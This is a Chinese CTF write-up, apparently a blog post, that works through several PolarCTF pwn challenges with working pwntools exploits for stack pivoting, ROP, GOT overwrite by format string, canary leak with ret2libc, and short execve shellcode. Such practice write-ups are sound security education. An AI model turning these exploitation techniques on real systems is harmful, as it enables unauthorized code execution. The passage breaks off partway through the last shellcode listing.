{"id":193,"date":"2025-10-04T22:02:21","date_gmt":"2025-10-04T14:02:21","guid":{"rendered":"http:\/\/38.175.194.203\/?p=193"},"modified":"2025-10-09T22:36:06","modified_gmt":"2025-10-09T14:36:06","slug":"polarctf-pwn%e5%9b%b0%e9%9a%be","status":"publish","type":"post","link":"http:\/\/38.175.194.203\/index.php\/2025\/10\/04\/polarctf-pwn%e5%9b%b0%e9%9a%be\/","title":{"rendered":"Polarctf-pwn(\u56f0\u96be)"},"content":{"rendered":"\n<div class=\"wp-block-jetpack-markdown\"><h1>8\u5b57\u8282\u80fd\u5e72\u4ec0\u4e48<\/h1>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250815171755875.png\" alt=\"image-20250815171755875\"><\/p>\n<p>\u4e24\u6b21\u8bfb\u5165\u4e14\u6bcf\u6b21\u90fd\u80fd\u8986\u76d6ebp\u548c\u8fd4\u56de\u5730\u5740\uff0cprintf\u6253\u5370\u7ed3\u679c\uff0c\u5bb9\u6613\u8003\u8651\u5230\u6808\u8fc1\u79fb\uff0c\u800c\u4e14\u7a0b\u5e8f\u7ed9\u4e86system\u51fd\u6570\uff0c\u628asystem\u5199\u5165\u6808\u4e0a\uff0c\u5728\u6808\u8fc1\u79fb\u5230system\uff0c\u5e76\u5199\u5165\/bin\/sh\u6267\u884c\u5373\u53ef<\/p>\n<p>\u8981\u8fc1\u79fb\u5230\u6808\u5c31\u9700\u8981\u77e5\u9053\u6808\u5730\u5740\uff0c\u800c\u901a\u8fc7\u6253\u5370ebp\u7684\u503c\u518d\u51cf\u53bb\u504f\u79fb\u5c31\u80fd\u83b7\u5f97\u6808\u4e0a\u7684\u4efb\u610f\u5730\u5740<\/p>\n<p>\u5229\u7528\u7b2c\u4e00\u6b21\u8bfb\u5165\u8f93\u51faebp<\/p>\n<p>exp<\/p>\n<pre><code>from pwn import*\ncontext(arch='i386',os='linux',log_level='debug')\n\n#p=remote('1.95.36.136',2131)\np=process('.\/pwn')\n\nleave_ret=0x8048488\nsystem=0x80483E0\npayload=b'a'*(0x30)\np.send(payload)#\u8fd9\u91cc\u6ce8\u610f\u7528send\uff0csendline\u7684'\\n'\u4f1a\u5c06ebp\u4f4e\u5b57\u8282\u8986\u76d6\np.recvuntil(b'a'*(0x30))\nebp=u32(p.recv(4))\nprint('ebp&gt;',hex(ebp))\n<\/code><\/pre>\n<p>![](http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/\u5c4f\u5e55\u622a\u56fe 2025-08-15 172746.png)<\/p>\n<p>\u901a\u8fc7\u8c03\u8bd5\u786e\u5b9a\u8f93\u5165\u7684\u8d77\u59cb\u5730\u5740(buf)<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/Snipaste_2025-08-15_17-36-54.png\" alt=\"\"><\/p>\n<p>print_addr\u662f\u8f93\u51fa\u7684\u5730\u5740\uff0c\u4e0e\u8d77\u59cb\u5730\u5740\u4e4b\u95f4\u7684\u504f\u79fb\u4e3a0x40\uff0c\u51cf\u53bb0x40\u5373\u53ef\u5f97\u5230\u8d77\u59cb\u5730\u5740<\/p>\n<p>\u7b2c\u4e8c\u6b21\u8bfb\u5165\u5219\u6784\u9020\u6808\u8fc1\u79fb<\/p>\n<pre><code>payload=b'aaaa'+p32(system)+p32(0)+p32(buf+0x10)+b'\/bin\/sh'\npayload=payload.ljust(0x30,b'\\x00')+p32(buf)+p32(leave_ret)\n<\/code><\/pre>\n<p>\u524d\u97624\u4e2aa\u7528\u6765\u5e94\u5bf9\u7b2c\u4e8c\u6b21pop ebp;\u786e\u4fddsystem\u88abpop eip;\u628a\/bin\/sh\u5199\u5165\u5230\u8ddd\u8f93\u5165\u70b9(buf)0x10\u7684\u4f4d\u7f6e\u4f5c\u4e3a\u53c2\u6570\uff0c\u6700\u540e\u518d\u5229\u7528\u6808\u8fc1\u79fb\u5230system<\/p>\n<p>\u5b8c\u6574exp<\/p>\n<pre><code>from pwn import*\ncontext(arch='i386',os='linux',log_level='debug')\n\n#p=remote('1.95.36.136',2131)\np=process('.\/pwn')\n\nleave_ret=0x8048488\nsystem=0x80483E0\npayload=b'a'*(0x30)\n#gdb.attach(p)\np.send(payload)\n#pause()\np.recvuntil(b'a'*(0x30))\nebp=u32(p.recv(4))\nprint('ebp&gt;',hex(ebp))\nbuf=ebp-0x40\npayload=b'aaaa'+p32(system)+p32(0)+p32(buf+0x10)+b'\/bin\/sh'\npayload=payload.ljust(0x30,b'\\x00')+p32(buf)+p32(leave_ret)\np.sendline(payload)\np.interactive()\n<\/code><\/pre>\n<h1>easyrop<\/h1>\n<p>\u62ff\u5230\u9644\u4ef6\uff0c\u5148\u67e5\u770b\u4e00\u4e0b\u4fdd\u62a4\u673a\u5236<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250823120507377.png\" alt=\"image-20250823120507377\"><\/p>\n<p>64\u7a0b\u5e8f\uff0c\u7528\u6808\u4f20\u53c2<\/p>\n<p>\u63a5\u4e0b\u6765\u770b\u9898<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250823120619541.png\" alt=\"image-20250823120619541\"><\/p>\n<p>\u7b80\u5355\u7684\u6808\u6ea2\u51fa\uff0c\u4e14\u7a0b\u5e8f\u7ed9\u4e86system\u548cbin_sh\u7684\u5730\u5740\uff0c\u4e0d\u8fc7\u662f\u5206\u5f00\u7684<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250823120703398.png\" alt=\"image-20250823120703398\"><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250823120736922.png\" alt=\"image-20250823120736922\"><\/p>\n<p>\u90a3\u4e48\u53ea\u9700\u8981\u7528rdi\u5b58\u50a8bin_sh\u5728\u8c03\u7528system\u5c31\u884c\u4e86(\u4f7f\u7528ROPgadget\u5de5\u5177\u67e5\u627epop rdi;ret)<\/p>\n<p>exp<\/p>\n<pre><code>from pwn import*\ncontext(arch='amd64',os='linux',log_level='debug')\n\np=remote('1.95.36.136',2144)\n#p=process('.\/easyrop1')\nsystem=0x400590\nbin_sh=0x601050\npop_rdi=0x400813\nret=0x400569\npayload=b'a'*(0x70+8)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)\n#gdb.attach(p)\np.sendline(payload)\n#pause()\np.interactive()\n\n<\/code><\/pre>\n<p>\u8fd9\u91cc\u6ce8\u610f\u4e00\u4e0b64\u4f4d\u7a0b\u5e8f\u662f\u9700\u8981\u6808\u5bf9\u9f50\u7684\u56e0\u6b64\u8fd8\u8981\u52a0\u4e0a\u4e00\u4e2aret\u6307\u4ee4<\/p>\n<h1>\u683c\u5f0f\u5316<\/h1>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250822181950871.png\" alt=\"image-20250822181950871\"><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250822182311987.png\" alt=\"image-20250822182311987\"><\/p>\n<p>\u7b80\u5355\u5206\u6790\u4e00\u4e0b\u4e0d\u96be\u53d1\u73b0\u7a0b\u5e8f\u63d0\u4f9b\u4e24\u6b21\u8f93\u5165\u548c\u6253\u5370\uff0c\u4e14\u7ed9\u4e86getshell\u51fd\u6570\uff0c\u4e8e\u662f\u5f88\u5bb9\u6613\u60f3\u5230\u5229\u7528got\u52ab\u6301\uff0c\u7b2c\u4e00\u6b21\u5c31\u5c06printf\u7684got\u52ab\u6301\u5230getshell\uff0c\u7136\u540e\u7b2c\u4e8c\u6b21\u8c03\u7528printf\u65f6\u5c31\u80fd\u76f4\u63a5\u6267\u884csystem(\u2018\/bin\/sh\u2019)<\/p>\n<p>exp<\/p>\n<pre><code>from pwn import*\ncontext(arch='amd64',os='linux',log_level='debug')\n\n#p=remote('1.95.36.136',2150)\np=process('.\/format')\nelf=ELF('.\/format')\nprintf_got=elf.got['printf']\ngetshell=0x400805\npayload=fmtstr_payload(6,{printf_got:getshell})\n#gdb.attach(p)\np.sendline(payload)\n#pause()\np.sendline(b'aaaa')\np.interactive()\n<\/code><\/pre>\n<p>\u4e0b\u9762\u7ed3\u5408gdb\u5177\u4f53\u6f14\u793a\u4e00\u904d\u52ab\u6301got\u7684\u8fc7\u7a0b\uff0c\u5728\u7b2c\u4e00\u6b21\u53d1\u9001payload\u65f6\u4e0b\u65ad\u70b9<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250822190004870.png\" alt=\"image-20250822190004870\"><\/p>\n<p>\u6b64\u65f6\u662f\u521a\u53d1\u9001\u5b8c\u7b2c\u4e00\u4e2apayload\u540e\u6808\u7684\u7ed3\u6784\uff0c\u53ef\u4ee5\u770b\u5230\u7ea2\u6846\u4e2d\u7684\u90e8\u5206\u5c31\u662f\u6211\u4eec\u53d1\u9001\u7684\u683c\u5f0f\u5316\u5b57\u7b26\u4e32payload\u5373fmtstr_payload\uff0c\u90a3\u4e48\u4e0b\u9762\u89e3\u91ca\u4e00\u4e0b\u8fd9\u4e2apayload<\/p>\n<pre><code>payload=fmtstr_payload(6,{printf_got:getshell})\n<\/code><\/pre>\n<p>\u7b2c\u4e00\u4e2a\u53c2\u65706\u4ee3\u8868\u504f\u79fb\uff0c\u82b1\u62ec\u53f7\u91cc\u7684\u90e8\u5206\u8868\u793a\u5f80printf_got\u7684\u5730\u5740\u91cc\u5199\u5165getshell\u5730\u5740<\/p>\n<p>\u90a3\u4e48\u63a5\u4e0b\u6765\u770b\u4e0b\u8fd9\u4e32\u683c\u5f0f\u5316\u5b57\u7b26\u4e32<\/p>\n<pre><code>%2053c%9$lln%59c%10$hhna\n<\/code><\/pre>\n<p>\u5341\u8fdb\u52362053\u5316\u5341\u516d\u8fdb\u5236\u4e3a0x805\uff0c\u540e\u9762%9$lln\u8868\u793a\u5c060x805\u5199\u5165\u7b2c9\u4e2a\u53c2\u6570\u4e5f\u5c31\u662f0x601028(printf\u51fd\u6570\u7684got\u5730\u5740)\u4e2d\uff0c\u4e14\u5199\u5165\u5b57\u8282\u957f\u5ea6\u4e3a8\u5b57\u8282(lln\u4ee3\u8868\u5199\u51658\u5b57\u8282)<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250822190153133.png\" alt=\"image-20250822190153133\"><\/p>\n<p>\u53ef\u4ee5\u770b\u5230\u521d\u59cb\u65f60x601028\u7684\u524d8\u5b57\u8282\u4e2d\u5b58\u50a8\u4e86\u4e00\u4e2a\u5730\u5740(\u7531\u4e8eprintf\u51fd\u6570\u8fd8\u6ca1\u8c03\u7528\uff0c\u5176\u5b9e\u662f\u6307\u5411\u91cd\u5b9a\u4f4d\u51fd\u6570\u7684\u5730\u5740\uff0c\u4e0d\u61c2\u7684\u8bdd\u53ef\u4ee5\u53bb\u4e86\u89e3\u4e00\u4e0bplt\u548cgot\u8868\u7684\u77e5\u8bc6\uff0c\u8fd9\u91cc\u4e0d\u8fc7\u591a\u89e3\u91ca)\uff0c\u90a3\u4e48\u6267\u884c%2053c%9$lln\u540e0x601028\u4e2d\u5b58\u50a8\u7684\u5185\u5bb9\u5c31\u5e94\u53d8\u4e3a0x0000000000000805\uff0c\u540e\u9762\u53c8\u8f93\u51fa59\u5b57\u8282\u7684\u957f\u5ea6\u52a0\u4e0a\u524d\u9762\u76842053\u4e00\u5171\u662f2112(0x840)\uff0c\u5e76\u5c060x840\u5199\u5165\u7b2c10\u4e2a\u53c2\u65700x60102a(%n\u662f\u5c06\u4e4b\u524d\u5168\u90e8\u5df2\u8f93\u51fa\u7684\u5b57\u8282\u5199\u5165\u6307\u5b9a\u53c2\u6570)\uff0c\u4e14\u5199\u5165\u957f\u5ea6\u662f1\u5b57\u8282(hhn\u4ee3\u88681\u5b57\u8282)\uff0c\u90a3\u4e48\u5176\u5b9e\u5c31\u53ea\u662f\u5c060x40\u5199\u5165\u52300x60102a\u4e2d\uff0c\u90a3\u4e48\u6700\u7ec80x601028\u4e2d\u5b58\u50a8\u7684\u5c31\u662f0x0000000000400805(getshell)<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250822191629137.png\" alt=\"image-20250822191629137\"><\/p>\n<p>\u6267\u884c\u5b8cprintf\u540e0x601028\u4e2d\u5b58\u50a8\u7684\u5c31\u662fgetshell\uff0c\u90a3\u4e48\u7b2c\u4e8c\u6b21\u8c03\u7528printf\u65f6\u5c31\u4f1a\u901a\u8fc7got\u52ab\u6301\u5230getshell\uff0c\u62ff\u5230\u63a7\u5236\u6743<\/p>\n<h1>stack_pivotingx86<\/h1>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250909105209459.png\" alt=\"image-20250909105209459\"><\/p>\n<p>\u4e24\u6b21\u8bfb\u5165\uff0c\u770b\u8bfb\u5165\u957f\u5ea6\u5f88\u660e\u663e\u8981\u5229\u7528\u6808\u8fc1\u79fb\uff0c\u4e14\u4e2d\u95f4\u6709puts\u8f93\u51fa\uff0c\u8fd8\u7ed9\u4e86system\u548c\/bin\/sh\uff0c\u90a3\u4e48\u53ef\u4ee5\u5229\u7528\u7b2c\u4e00\u6b21\u8bfb\u5165\u628arbp\u4e2d\u5b58\u50a8\u7684\u503c\u7ed9\u6253\u5370\u51fa\u6765\uff0c\u7531\u4e8e\u8fd9\u4e2a\u503c\u4e0erbp\u672c\u8eab\u7684\u504f\u79fb\u662f\u4e00\u5b9a\u7684\u800crbp\u4e0e\u6211\u4eec\u8f93\u5165\u70b9buf\u6240\u5728\u6808\u5730\u5740\u5904\u7684\u504f\u79fb\u4e5f\u662f\u4e00\u5b9a\u7684\uff0c\u90a3\u4e48\u53ef\u4ee5\u76f4\u63a5\u7528rbp\u5b58\u50a8\u7684\u503c\u51cf\u53bb\u4e24\u4e2a\u504f\u79fb\u91cf\u95f4\u63a5\u83b7\u5f97buf\u5730\u5740\uff0c\u540e\u9762\u7b2c\u4e8c\u6b21\u8bfb\u5165\u518d\u5229\u7528\u6808\u8fc1\u79fb\u5c31\u884c<\/p>\n<p>exp<\/p>\n<pre><code>from pwn import*\ncontext(arch='i386',os='linux',log_level='debug')\n\n#p=remote('1.95.36.136',2098)\np=process('.\/stack_pivotingx86')\nelf=ELF('.\/stack_pivotingx86')\n\nsystem=elf.plt['system']\nbin_sh=0x0804A030\nleave_ret=0x8048666\n#gdb.attach(p)\np.recvuntil(b'Please input your name:\\n')\np.sendline(b'a'*(0x27))\n#pause()\np.recvuntil(b'\\n')\naddr=u32(p.recv(4))\nlog.success('addr&gt;'+hex(addr))\np.recvuntil(b'Would you like tell me some message:\\n')\npayload=p32(system)+p32(0)+p32(bin_sh)\npayload=payload.ljust(0x28,b'\\x00')+p32(addr-0x10-0x28-4)+p32(leave_ret)\n#pause()\np.sendline(payload)\n#pause()\np.interactive()\n<\/code><\/pre>\n<p>\u5728\u7b2c\u4e00\u6b21\u8bfb\u5165\u540e\u4e0b\u65ad\u70b9gdb\u8c03\u8bd5<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250909110313709.png\" alt=\"image-20250909110313709\"><\/p>\n<p>\u5f88\u660e\u663e\u6211\u4eec\u6cc4\u9732\u51fa\u7684\u5730\u5740\u4e0ebuf\u76f8\u5dee0x10+0x28\uff0c\u5373\u7b2c\u4e8c\u6b21\u8f93\u5165\u7684system\u5c31\u4f4d\u4e8eaddr-0x10-0x28\u5904\uff0c\u540e\u9762\u5728\u5199\u5165\u8fd4\u56de\u5730\u5740\u548c\u53c2\u6570\uff0c\u7b2c\u4e8c\u6b21\u8f93\u5165\u7684\u7684rbp\u4f4d\u518d\u51cf4\u662f\u7531\u4e8e\u6808\u8fc1\u79fb\u539f\u7406\u8981\u62ac\u9ad8\u56db\u5b57\u8282\uff0c\u5426\u5219\u65e0\u6cd5\u6b63\u786e\u6267\u884csystem<\/p>\n<h1>format_ret2libc<\/h1>\n<p>\u7ed9\u4e86\u4e24\u4e2a\u4e3b\u8981\u51fd\u6570secret\u548csetstring<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250904182827238.png\" alt=\"\"><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250904183427888.png\" alt=\"image-20250904183427888\"><\/p>\n<p>\u518d\u770b\u4e0b\u7a0b\u5e8f\u7684\u4fdd\u62a4\u673a\u5236<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250904183755101.png\" alt=\"image-20250904183755101\"><\/p>\n<p>\u5f00\u542f\u4e86\u6808\u4fdd\u62a4<\/p>\n<p>secret\u51fd\u6570\u663e\u7136\u4e0d\u80fd\u6808\u6ea2\u51fa\u4f46\u7ed3\u5408printf\uff0c\u5374\u80fd\u6cc4\u9732\u6808\u4e0a\u4efb\u610f\u5730\u5740\uff0csetstring\u51fd\u6570\u80fd\u8fdb\u884c\u6808\u6ea2\u51fa\uff0c\u90a3\u4e48\u601d\u8def\u5c31\u662f\u5229\u7528\u7b2c\u4e00\u6b21\u8f93\u5165\u6cc4\u9732canary\uff0c\u7b2c\u4e8c\u6b21\u5229\u7528ret2libc<\/p>\n<p>\u5148\u6cc4\u9732canary<\/p>\n<p>exp<\/p>\n<pre><code>from pwn import*\nfrom LibcSearcher import*\n\ncontext(arch='amd64',os='linux',log_level='debug')\n\n#p=remote('1.95.36.136',2071)\np=process('.\/format')\nelf=ELF('.\/format')\nputs_plt=elf.plt['puts']\nputs_got=elf.got['puts']\npop_rdi=0x400943\nret=0x4005d9\n\nsetstring=0x40084B\np.sendline(b'%39$p')\np.recvuntil(b'0x')\ncanary=int(p.recv(16),16)\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250904184612768.png\" alt=\"image-20250904184612768\"><\/p>\n<p>\u7ed3\u5408gdb\u7684\u8c03\u8bd5\u77e5\u9053canary\u5728\u6808\u4e2d\u7684\u4f4d\u7f6e\uff0c\u53ef\u4ee5\u770b\u5230\u5df2\u7ecf\u6b63\u786e\u6cc4\u9732canary(\u4e00\u822c\u4ee5\u2019\\x00\u2019\u7ed3\u5c3e)<\/p>\n<p>\u540e\u9762\u5c31\u662f\u5229\u7528ret2libc\u4e86<\/p>\n<p>\u5b8c\u6574exp<\/p>\n<pre><code>from pwn import*\nfrom LibcSearcher import*\n\ncontext(arch='amd64',os='linux',log_level='debug')\n\n#p=remote('1.95.36.136',2071)\np=process('.\/format')\nelf=ELF('.\/format')\nputs_plt=elf.plt['puts']\nputs_got=elf.got['puts']\npop_rdi=0x400943\nret=0x4005d9\n\nsetstring=0x40084B\np.sendline(b'%39$p')\np.recvuntil(b'0x')\ncanary=int(p.recv(16),16)\n\npayload=b'a'*(0x68)+p64(canary)+p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(setstring)\np.sendline(payload)\nputs_real=u64(p.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nlog.success('puts_real&gt;'+hex(puts_real))\nlibc=LibcSearcher('puts',puts_real)\nlibc_base=puts_real-libc.dump('puts')\nsystem=libc_base+libc.dump('system')\nbin_sh=libc_base+libc.dump('str_bin_sh')\n\npayload=b'a'*(0x68)+p64(canary)+p64(0)+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system)\np.sendline(payload)\n\np.interactive()\n<\/code><\/pre>\n<h1>stack<\/h1>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250814192138672.png\" alt=\"image-20250814192138672\"><\/p>\n<p>\u53ea\u80fd\u8986\u76d6\u6389rbp\uff0c\u7531\u6b64\u60f3\u5230\u901a\u8fc7\u8986\u76d6\u6389rbp\uff0c\u628a\u6808\u8fc1\u79fb<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250814192323327.png\" alt=\"\"><\/p>\n<p>\u663e\u7136\uff0c\u60f3\u8981\u6267\u884csystem\u5fc5\u987b\u6ee1\u8db3\u4e24\u4e2a\u6761\u4ef6\uff0c\u800c\u6211\u4eec\u53ea\u80fd\u63a7\u5236v4\u7684\u503c\uff0c\u56e0\u6b64\u8981\u8ba9rbp-4\u4e0epasswd\u6307\u5411\u540c\u4e00\u5730\u5740\uff0c\u4f2a\u9020rbp\u4e3a&amp;passwd-4\uff0c\u5219\u80fd\u540c\u65f6\u6ee1\u8db3<\/p>\n<p>exp<\/p>\n<pre><code>from pwn import*\ncontext(arch='amd64',os='linux',log_level='debug')\n\n#p=remote('1.95.36.136',2100)\np=process('.\/stack')\n\nrbp=0x4033CC+4\npayload=b'a'*(0x50)+p64(rbp)\n#gdb.attach(p)\n#pause()\np.sendline(payload)\np.recvuntil(b'input1:')\n\np.sendline(b'4660')\n\np.interactive()\n<\/code><\/pre>\n<h1>bllbl_shellcode4<\/h1>\n<p>\u5206\u6790\u7a0b\u5e8f\u53ef\u77e5\u4e3b\u8981\u63d0\u4f9b\u4e24\u4e2a\u51fd\u6570\uff0c\u5148\u6765\u770bsub_401216<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250812192656281.png\" alt=\"image-20250812192656281\"><\/p>\n<p>mprotect\u51fd\u6570\u4f7f\u5f970x4040c0\u5730\u5740\u5f00\u59cb(\u5305\u62ec\u4e4b\u524d)\u7684bss\u6bb5\u90fd\u53ef\u6267\u884c\uff0c\u4e14\u7ed9\u4e86\/bin\/sh\u7684\u5730\u5740<\/p>\n<p>\u518d\u770bsub_401306<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/image-20250817170405797.png\" alt=\"image-20250817170405797\"><\/p>\n<p>\u663e\u7136\u53ef\u4ee5\u8fdb\u884c\u6808\u6ea2\u51fa\u4f46\u957f\u5ea6\u4e0d\u591f\uff0c\u4e8e\u662f\u60f3\u5230\u5148\u8fc1\u79fb\u5230bss\u53ef\u6267\u884c\u6bb5\uff0c\u518d\u7f16\u5199shellcode\u63a7\u5236\u7a0b\u5e8f\u6267\u884c<\/p>\n<p>exp<\/p>\n<pre><code>from pwn import*\ncontext(arch='amd64',os='linux',log_level='debug')\n\n#p=remote('1.95.36.136',2104)\np=process('.\/pwn1')\nelf=ELF('.\/pwn1')\n\nbss=0x4040C0\nread=0x401335\nsub_rsp_x15=0x40136A\nbin_sh=0x40203F\n\npayload=b'a'*9+p64(bss)+p64(read)\np.recvuntil(b'welcome to PolarCTF Summer Games')\np.sendline(payload)\n<\/code><\/pre>\n<p>\u503c\u5f97\u6ce8\u610f\u7684\u662f\u6709\u4e2a\u9690\u85cf\u51fd\u6570\u63d0\u4f9b\u4e86\u4e00\u4e2a\u6709\u7528\u7684gadget<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/Snipaste_2025-08-12_19-33-28.png\" alt=\"\"><\/p>\n<p>\u8fd9\u6837\u5728\u7f16\u5199shellcode\u65f6\u53ef\u4ee5\u5229\u7528\u8fd9\u4e2agadget\u8df3\u8f6c\u56de\u53bb\u6267\u884c\u6211\u4eec\u7684\u4ee3\u7801<\/p>\n<p>\u672c\u9898\u7684\u96be\u70b9\u5c31\u5728\u4e8e\u600e\u4e48\u7f16\u5199shellcode\uff0c\u4f7f\u5176\u80fd\u591f\u8df3\u8f6c\u5230\u5408\u7406\u7684\u4f4d\u7f6e\u6267\u884c\u4ee3\u7801<\/p>\n<p>\u6211\u4eec\u9996\u5148\u901a\u8fc7pop\u4e00\u4e2abss\u53ef\u6267\u884c\u6bb5\u4e0a\u7684\u5730\u5740\u5f53\u505a\u4f2a\u9020\u7684rbp\uff0c\u518d\u8fd4\u56deread\u51fd\u6570\u5f00\u59cb\u4f20\u53c2\u7684\u5730\u5740<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/Snipaste_2025-08-13_11-22-45.png\" alt=\"\"><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/Snipaste_2025-08-13_11-25-16.png\" alt=\"\"><\/p>\n<p>\u4e0a\u8ff0\u4ee3\u7801\u6267\u884c\u540e\u5c31\u4f1a\u5c06\u6211\u4eec\u7ed9\u7684bss-9\u5f53\u505a\u8f93\u5165\u7684\u8d77\u59cb\u5730\u5740\uff0c\u7136\u540e\u63a5\u4e0b\u6765\u5c31\u662f\u7f16\u5199shellcode\u4e86<\/p>\n<p>bss-9\u52a0\u4e0a\u4f2a\u9020\u7684rbp\u4e00\u5171\u536017\u4e2a\u5b57\u8282(\u8fd9\u4e00\u6bb5\u7528\u6765\u6784\u9020shellcode)\uff0c\u63a5\u4e0b\u6765\u7684\u8fd4\u56de\u5730\u5740\u5c31\u8981\u8986\u76d6\u6210sub_rsp_x15\u8fd4\u56de\u53bb\u6267\u884cshellcode\uff0c\u4f46\u5177\u4f53\u4f1a\u8fd4\u56de\u5230\u54ea\u4e2a\u4f4d\u7f6e\uff0c\u8c03\u8bd5\u4e00\u4e0b\u4f1a\u66f4\u6e05\u695a<\/p>\n<p>\u5148\u770b\u4e0b\u8fd9\u90e8\u5206\u7684exp\uff0cshellcode\u7a0d\u540e\u89e3\u91ca<\/p>\n<pre><code>shellcode='''\nnop;\nnop;\nnop;\nnop;\nmov al,0x3b;\nmov edi,0x40203F;\nmov esi,ebx;\nmov edx,esi;\nsyscall;\n'''\nshellcode=asm(shellcode)\nprint('shellcode&gt;&gt;',len(shellcode))\nshellcode+=p64(sub_rsp_x15)\ngdb.attach(p)\np.sendline(shellcode)\npause()\np.interactive()\n<\/code><\/pre>\n<p>\u8fd9\u91cc\u5176\u5b9e\u662f\u9700\u8981\u63a7\u5236shellcode\u521a\u597d\u662f17\u4e2a\u5b57\u8282\u8fd9\u6837\u540e\u9762\u624d\u80fd\u8986\u76d6\u8fd4\u56de\u5730\u5740\uff0c\u65b9\u4fbf\u8d77\u89c1\u6211\u7f16\u5199\u7684shellcode\u5c31\u521a\u597d\u5230\u4e8617\u5b57\u8282(\u5176\u5b9e\u662f\u9700\u8981\u8fdb\u884c\u5404\u79cd\u5c1d\u8bd5\u63a7\u5236shellcode\u523017\u5b57\u8282)\uff0c\u7136\u540e\u63a5\u4e0b\u6765\u8fdb\u884c\u8c03\u8bd5<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/Snipaste_2025-08-13_11-47-42.png\" alt=\"\"><\/p>\n<p>\u7b2c\u4e8c\u6b21read\u540e\u6267\u884c\u5230ret\u5904\uff0c\u6b64\u65f6\u7684rsp\u6307\u54110x4040c8\uff0c\u5b58\u50a8\u7684\u6b63\u662f\u6211\u4eec\u8986\u76d6\u7684\u8fd4\u56de\u5730\u57400x40136a\uff0c\u6267\u884c\u540e<\/p>\n<p>![](http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/\u5c4f\u5e55\u622a\u56fe 2025-08-13 115137.png)<\/p>\n<p>jmp rsp\u6267\u884c\u540e<\/p>\n<p>![](http:\/\/38.175.194.203\/wp-content\/uploads\/2025\/10\/\u5c4f\u5e55\u622a\u56fe 2025-08-13 115532.png)<\/p>\n<p>\u8fd9\u91cc\u5b9e\u9645\u4e0a\u662f\u8df3\u8fc7\u4e86\u524d\u97624\u4e2anop\u7a7a\u6307\u4ee4\uff0c\u81f3\u4e8e\u4e3a\u4ec0\u4e48\u8981\u7528\u52304\u4e2a\u7a7a\u6307\u4ee4\uff0c\u5176\u662f\u56e0\u4e3a\u6267\u884c\u5b8c\u8fd4\u56de\u5730\u5740\u540ersp\u6765\u5230\u4e86\u8ddd\u8f93\u5165\u70b99+8+8=0x19\u7684\u4f4d\u7f6e\uff0c\u800c\u6b64\u65f6\u7684rip\u5c06\u6267\u884csub rsp 0x15;\u6267\u884c\u5b8cjmp rsp;\u540e\u6765\u5230\u8ddd\u8f93\u5165\u70b90x19-0x15=0x4\u7684\u4f4d\u7f6e\uff0c\u5373\u6211\u4eec\u9700\u8981\u5c06\u524d4\u4e2a\u5b57\u8282\u586b\u5145\u4e3a\u7a7a\u6307\u4ee4\u624d\u80fd\u6b63\u786e\u6267\u884cshellcode\uff0c\u63a5\u4e0b\u6765\u5c31\u53ea\u80fd\u5c06\u540e\u7eedshellcode\u7f16\u5199\u523017-4=13\u5b57\u8282\uff0c\u5c31\u9700\u8981\u5c3d\u53ef\u80fd\u7684\u7f29\u77edshellcode\u957f\u5ea6\uff0c\u51d1\u5de7\u7684\u662f\u6309\u7167\u5982\u4e0b\u7f16\u5199<\/p>\n<pre><code>shellcode='''\nnop;\nnop;\nnop;\nnop;\nmov al,0x3b;\nmov edi,0x40203F;\nmov esi,ebx;\nmov 